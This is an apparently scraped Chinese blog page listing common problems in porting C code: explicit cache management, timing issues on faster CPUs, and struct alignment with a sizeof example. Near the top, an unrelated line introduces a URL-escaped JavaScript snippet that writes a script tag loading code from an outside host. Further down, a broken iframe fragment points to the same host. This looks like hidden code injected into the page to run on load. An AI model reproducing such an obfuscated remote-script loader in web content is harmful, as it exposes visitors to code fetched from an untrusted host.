C语言移植的常见问题清单

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
C语言移植的常见问题清单




      移植,一个永恒的话题,不过现在似乎被现代语言所解决(如Java,C#),但是在嵌入式领域或其它一些底层的开发中,C语言还是占着主导地位,那么C语言写的应用在移植时通常会遇到什么样的问题呢?这里的条条款款是从《See MIPS RUN》中摘录的,希望能够帮助大家了解一些与C语言移植相关的知识。因为我在好长时间里,也不明白C语言的移植到底要考虑哪些问题,当你了解到这些之后,你在开发需要移植的代码时,就可以通过一定的技术去避免出现一些不可移植的代码。
1. 显式缓存管理的需要:当CPU出现依始,CPU的运行速率和物理内存的访问速率还是匹配的,所以我们不需要对CPU设计做特殊处理;但是后来慢慢地,物理内存的访问速率和CPU的运行速率开始拉开差距,导致其成为CPU处理效率的瓶颈,所以CPU的设计者们就在CPU芯片中集成Cache来解决这个问题,同时,也产生了Cache处理的多种不同的算法(这个在这里就不详述了)。这样就产生了这样的问题,在那些没有Cache的CPU上编写的代码就不能直接在现在这些有Cache的CPU系统中了,因为这样会导致数据的不一致。另外一个会产生数据不一致的情况是CPU和DMA共同操作的情况下,在操作那些需要通过DMA传输数据的硬件的驱动中,如果没有把Cache操作正确,那么将会产生很多奇奇怪怪的问题——当然,归根到底都是数据不一致。(以后我们还会讨论如何解决这个问题)
2.更快的CPU带来的时序问题:这些问题的产生仅仅是因为软件在运行得更快的CPU上。对此没有通用的解决方案,所以要提高警惕;
3.数据对齐和内存布局:这个问题在C语言中是很常见的,比如我们定义一个数据结构如下:
 struct sample{
         char    t1;
          int       t2;
};
按照正规的来计算,该结构应该占用5个字节(假设在32位的系统中),但是我们用sizeof计算时,它却占用着8个字节的空间。这就是数据对齐导致结构的内存空间布局改变所产生的结果。而且在不同的系统中,有着不同的内存布局,而且不同编译器的编译结果也有不同的内存布局。所以我们在提取结构字段时要注意可移植性的问题。
待续......

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值